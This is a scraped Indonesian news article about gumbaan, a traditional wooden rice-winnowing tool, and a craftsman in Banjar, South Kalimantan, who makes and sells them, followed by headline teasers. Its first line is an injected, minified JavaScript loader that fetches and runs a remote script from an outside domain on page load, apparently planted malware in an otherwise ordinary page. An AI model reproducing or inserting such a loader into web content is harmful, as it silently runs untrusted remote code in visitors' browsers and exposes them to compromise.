(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pernah melihat benda dari kayu berbentuk seperti gitar akustik berukuran besar? Biasanya ada di kampung-kampung di Kalimantan Selatan yang mayoritas warganya menanam padi.
Benda tersebut merupakan alat untuk memisahkan antara padi yang berisi dan kosong secara manual yang digunakan masyarakat sejak dahulu. Warga banua menyebutnya dengan nama gumbaan.
Sejauh ini gumbaan masih digunakan warga untuk memilah padi hasil panen mereka. Alat ini masih efektif dan relatif murah.
Baca juga: Dua Tewas, Baku Hantam Penumpang KM AWU Jurusan Surabaya-Pangkalan Bun
Kanalkalimantan.com mencoba menggali lebih jauh penggunaan gumbaan. Kali ini kanalkalimantan mendatangi warga di Jalan Swadaya Rt 01 Desa Sungai Tabuk Keramat Kecamatan Sungai Tabuk Kabupaten Banjar.
Iyan (48) merupakan satu di antara beberapa pembuat dan penjual gumbaan di desa itu.
Dia membuat gumbaan berawal dari turun temurun dari keluarga, namun baru saja memulai sejak tahun 2013
“Aku awalnya buruh tahun 1989 itu, tapi mencoba mandiri memberanikan diri untuk mencoba membuat gumbaan dan ternyata bisa, dan pada tahun 2013 aku memulai membuat dan menjual gumbaan kurang lebih 10 tahun berlalu hingga sekarang,” ucap Iyan, Kamis (16/11/2023) siang.
Baca juga: Pomnas XVIII 2023 Kalsel Resmi Dibuka, 2.717 Atlet Mahasiswa Berlaga
Menurut dia, gumbaan padi ini penjualannya per musim biasanya istirahat di Oktober hingga Februari. Sedangkan Maret dan April mulai memproduksi gumbaan lagi. Dan memasarkan gumbaan padi. Per unit biasa dijual Rp 600 ribu, belum ongkos kirim.
Khusus wilayah sekitar seperti Gambut, Anjir, Catur, Tamban, Kapuas, hingga daerah Takisung di sekitar penjualan di bulan Juli dan Agustus dipasarkan oleh warga sekitar.
Untuk yang panen Maret dan April biasanya wilayah Rantau, Kandangan, Barabai, Iyan sendiri yang menjual karena ongkos lebih besar untuk menuju lokasi tersebut.
Baca juga: Jadi Dosen Tamu FT ULM, GM PLN Paparkan Strategi Jaga Keandalan Listrik Kalimantan
Sepuluh tahun lamanya berkutat memproduksi gumbaan, ada pun kendalanya tiap tahun yang dirasakan dari bahan bakunya, yaitu papan kayu.
Untuk tahun 2023, material papan banyak tersedia, jadi lebih banyak stok papan. “Yang masuk 30 biji, jadi orang Alalak percayakan kepada kita, sudah September kita berhenti sementara untuk terima stok papan,” akunya.
Saat ini, gumbaan bersaing dengan alat yang disebut combine.
Baca juga: Rumah Purnawirawan TNI Terbakar Habis, Masitah Sebut Api dari Bangunan Kosong
“Banyak yang sudah memakai alat combine untuk memanen padi yang hasil padinya seketika bersih dan kadang tidak perlu dijemur lagi siap masuk dalam karung,” jelas dia.
Terkadang, sambung dia, yang membeli gumbaan ini merupakan pembeli yang biasanya ada sisa tanaman padi yang tertinggal sedikit.
“Combine itu sudah ada dari 2014 pertama kali ada di daerah Pangkuh Tahai Jaya, Basarang, Kalimantan Tengah. Di wilayah itu sebelum masuknya combine, banyak masyarakat di sana membeli gumbaan padi kepada kita, namun adanya combine untuk pemasaran gumbaan menjadi lebih sedikit,” katanya.
Baca juga: Belum Masa Kampanye, Bawaslu HSU Minta Parpol Tertibkan Sendiri APK
Alat modern dikatakan bersaing atau tidak itu boleh saja, karena ada orang yang memakai combine saat memanen padi petani juga membeli alat gumbaan, jadi tidak sepenuhnya alat modern itu bersaing dangan alat tradisional.
Saat ini, papar Iyan, ada temuan gumbaan yang mempermudah petani, yaitu adanya modifikasi menggunakan mesin dinamo, sehingga berputar secara otomatis tanpa susah payah untuk memutarnya dan jika listrik padam dapat diputar kembali dengan secara manual.
Selain harga yang relatif murah, cara pemisahan ini merupakan salah satu alasan kenapa gumbaan masih tetap diandalkan para petani di Kalimantan Selatan.
Baca juga: Dua Pesawat Super Tucano Jatuh di Pasuruan, Kadispenau: Sedang Latihan Formasi Rutin
Gumbaan padi lamanya bertahan tergantung pada penyimpanan gumbaan, jika gumbaan itu dibiarkan berjemur di bawah terik matahari panas dan hujan maka hanya dapat bertahan selama 5 tahun saja.
Jika penyimpanan gumbaan itu sebaliknya seperti disimpan dalam rumah atau gudang setelah memakainya bisa bertahan paling lama 25 tahun. (Kanalkalimantan.com/norhasanah)
Reporter : Norhasanah
Editor : Dhani
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
This website uses cookies.